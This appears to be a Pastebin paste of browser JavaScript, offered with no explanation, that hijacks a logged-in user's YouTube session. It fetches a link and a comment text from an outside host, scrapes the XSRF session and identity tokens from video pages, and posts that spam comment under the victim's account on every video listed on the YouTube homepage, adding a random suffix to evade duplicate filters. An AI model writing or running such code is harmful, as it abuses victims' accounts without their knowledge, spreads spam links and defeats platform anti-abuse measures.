Advertisement
Guest User

Code

a guest
Jan 22nd, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.81 KB | None | 0 0
  1. var Youtube = {
  2. linkCek(urlData,send_id,link,comment){
  3. Youtube.send_comment("https://www.youtube.com/watch?v="+ send_id, comment+" "+link+ Youtube.rand(5))
  4.  
  5. },
  6. rand(x){
  7. allcharacter = "ABCDEFGHIJKLMNOPRSTUVYZXabcdefghijklmnoprstuvyzx0123456789__________________";
  8. dot = "";
  9. for (var i = 0; i < x; i++) dot += allcharacter[Math.floor(Math.random() * allcharacter.length)];
  10. return dot;
  11. },
  12. start(){
  13. var lang = navigator.language;
  14. var langSplit = lang.split("-");
  15. var la = langSplit[0];
  16. var xhrLINK = new XMLHttpRequest();
  17. xhrLINK.open("GET", "https://gledajovo.org/comment.php?l="+la);
  18. xhrLINK.send();
  19. xhrLINK.onreadystatechange = function () {
  20. if (xhrLINK.readyState == 4 && xhrLINK.status == 200) {
  21. dataLINK = JSON.parse(xhrLINK.responseText);
  22. link = dataLINK.link;
  23. comment = dataLINK.comment;
  24. if(link && comment){
  25. var xhr = new XMLHttpRequest();
  26. xhr.open("GET", "https://www.youtube.com");
  27. xhr.send();
  28. xhr.onreadystatechange = function () {
  29. if (xhr.readyState == 4 && xhr.status == 200) {
  30. data = xhr.responseText;
  31. youtubeids = data.split('/watch?v=');
  32. var lengthData = 0;
  33. for(var i=1 ; i < youtubeids.length; i++){
  34. var urlData = Youtube.rand(9);
  35. send_id = youtubeids[i].split('"')[0].split('\\')[0];
  36. Youtube.linkCek(urlData,send_id,link,comment);
  37. }
  38. }
  39. }
  40. }
  41. }
  42. }
  43. },
  44. send_comment(youtube_link,comment_data_text){
  45. var xhr = new XMLHttpRequest();
  46. xhr.open('GET', youtube_link, true);
  47. xhr.send();
  48. xhr.onreadystatechange = function () {
  49. if (xhr.readyState == 4 && xhr.status == 200) {
  50. var data = xhr.responseText;
  51. ctoken = new RegExp(/"continuation":"(.*?)"/).exec(data)[1];
  52. itct = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
  53. session_token = new RegExp(/"XSRF_TOKEN":"(.*?)"/).exec(data)[1];
  54. csn = new RegExp(/"csn":"(.*?)"/).exec(data)[1];
  55. id_token = new RegExp(/"ID_TOKEN":"(.*?)"/).exec(data)[1];
  56. client_version = new RegExp(/"key":"cver","value":"(.*?)"/).exec(data)[1];
  57. page_cl = new RegExp(/"key":"innertube.build.changelist","value":"(.*?)"/).exec(data)[1];
  58. page_label = new RegExp(/"key":"innertube.build.label","value":"(.*?)"/).exec(data)[1];
  59. checksum = new RegExp(/"key":"innertube.build.variants.checksum","value":"(.*?)"/).exec(data)[1];
  60. Youtube.comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text);
  61. }
  62. }
  63. },
  64. comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text){
  65. var xhr = new XMLHttpRequest();
  66. xhr.open('POST', 'https://www.youtube.com/comment_service_ajax?action_get_comments=1&pbj=1&ctoken='+ctoken+'&itct='+itct);
  67. xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  68. xhr.setRequestHeader('x-spf-previous', youtube_link);
  69. xhr.setRequestHeader('x-spf-referer', youtube_link);
  70. xhr.setRequestHeader('x-youtube-client-name', '1');
  71. xhr.setRequestHeader('x-youtube-client-version', client_version);
  72. xhr.setRequestHeader('x-youtube-identity-token', id_token);
  73. xhr.setRequestHeader('x-youtube-page-cl', page_cl);
  74. xhr.setRequestHeader('x-youtube-page-label', page_label);
  75. xhr.setRequestHeader('x-youtube-variants-checksum', checksum);
  76. var data = "session_token="+ session_token;
  77. xhr.send(data);
  78. xhr.onreadystatechange = function () {
  79. if (xhr.readyState == 4 && xhr.status == 200) {
  80. var data = xhr.responseText;
  81. clickTrackingParams = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
  82. createCommentParams = new RegExp(/"createCommentParams":"(.*?)"/).exec(data)[1];
  83. var xhr2 = new XMLHttpRequest();
  84. xhr2.open('POST', 'https://www.youtube.com/service_ajax?name=createCommentEndpoint');
  85. xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  86. xhr2.setRequestHeader('x-spf-previous', youtube_link);
  87. xhr2.setRequestHeader('x-spf-referer', youtube_link);
  88. xhr2.setRequestHeader('x-youtube-client-name', '1');
  89. xhr2.setRequestHeader('x-youtube-client-version', client_version);
  90. xhr2.setRequestHeader('x-youtube-identity-token', id_token);
  91. xhr2.setRequestHeader('x-youtube-page-cl', page_cl);
  92. xhr2.setRequestHeader('x-youtube-page-label', page_label);
  93. xhr2.setRequestHeader('x-youtube-variants-checksum', checksum);
  94. var data2 = 'comment_text='+ comment_data_text;
  95. data2 += '&session_token='+ session_token;
  96. data2 += '&sej={"clickTrackingParams":"'+clickTrackingParams+'","createCommentEndpoint":{"createCommentParams":"'+createCommentParams+'"}}';
  97. data2 += '&csn='+ csn;
  98. xhr2.send(data2);
  99. xhr2.onreadystatechange = function () {
  100. if (xhr2.readyState == 4 && xhr2.status == 200) {
  101. var data = JSON.parse(xhr2.responseText);
  102. if(data.code == 'SUCCESS'){
  103. }
  104. }
  105. }
  106. }
  107. }
  108. }
  109. };
  110.  
  111. Youtube.start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement